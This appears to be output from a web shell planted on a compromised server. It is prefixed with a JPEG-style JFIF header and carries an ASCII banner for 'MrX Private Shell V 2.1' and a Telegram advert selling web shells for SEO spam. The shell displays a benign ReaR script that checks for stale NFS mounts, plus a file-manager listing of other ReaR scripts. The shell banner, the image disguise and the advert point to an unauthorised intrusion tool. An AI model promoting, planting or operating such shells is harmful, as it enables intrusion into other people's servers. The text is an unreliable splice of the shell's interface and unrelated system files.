����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# 100_check_stale_nfs_mounts.sh
# Purpose is to have a simple test if we have stale NFS mount points which
# could lead to a hangind ReaR session.
# In case there is a stale NFS present we bail out with an error to get it fixed before
# running ReaR again.
# See issue https://github.com/rear/rear/issues/3109
# To make the code more robust we take care of spaces and \ in the mount point naming.
### example mount point /mnt/!@#$%^&**()_-=+{}|\
# + read -r exported_fs mount_point junk
#++ grep -i '[[:blank:]]nfs' /proc/mounts
#++ sed -e 's/\\040/ /g' -e 's/\\134/\\/g'
#+ mntpt='/mnt/!@#$%^&**()_-=+{}|\'
#+ timeout 5 df '/mnt/!@#$%^&**()_-=+{}|\'
#
# or
#
#+ read -r exported_fs mount_point junk
#++ grep -i '[[:blank:]]nfs' /proc/mounts
#++ sed -e 's/\\040/ /g' -e 's/\\134/\\/g'
#+ mntpt='/mnt/something else with xXx going on!'
#+ timeout 5 df '/mnt/something else with xXx is going on!'
while read -r exported_fs mount_point junk ;
do
mntpt="$(sed -e 's/\\040/ /g' -e 's/\\134/\\/g' <<< "$mount_point")"
timeout 5 df "$mntpt" >/dev/null || Error "Stale NFS mount point $mount_point detected - please fix it first!"
done < <(grep -i "[[:blank:]]nfs" /proc/mounts)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 001_verify_config_arrays.sh | File | 1.47 KB | 0644 |
|
| 002_check_rear_recover_mode.sh | File | 1.95 KB | 0644 |
|
| 010_EFISTUB_check.sh | File | 368 B | 0644 |
|
| 010_set_drlm_env.sh | File | 135 B | 0644 |
|
| 030_update_recovery_system.sh | File | 2.66 KB | 0644 |
|
| 100_check_stale_nfs_mounts.sh | File | 1.15 KB | 0644 |
|
| 950_check_missing_programs.sh | File | 1.93 KB | 0644 |
|
| 998_dump_variables.sh | File | 1.08 KB | 0644 |
|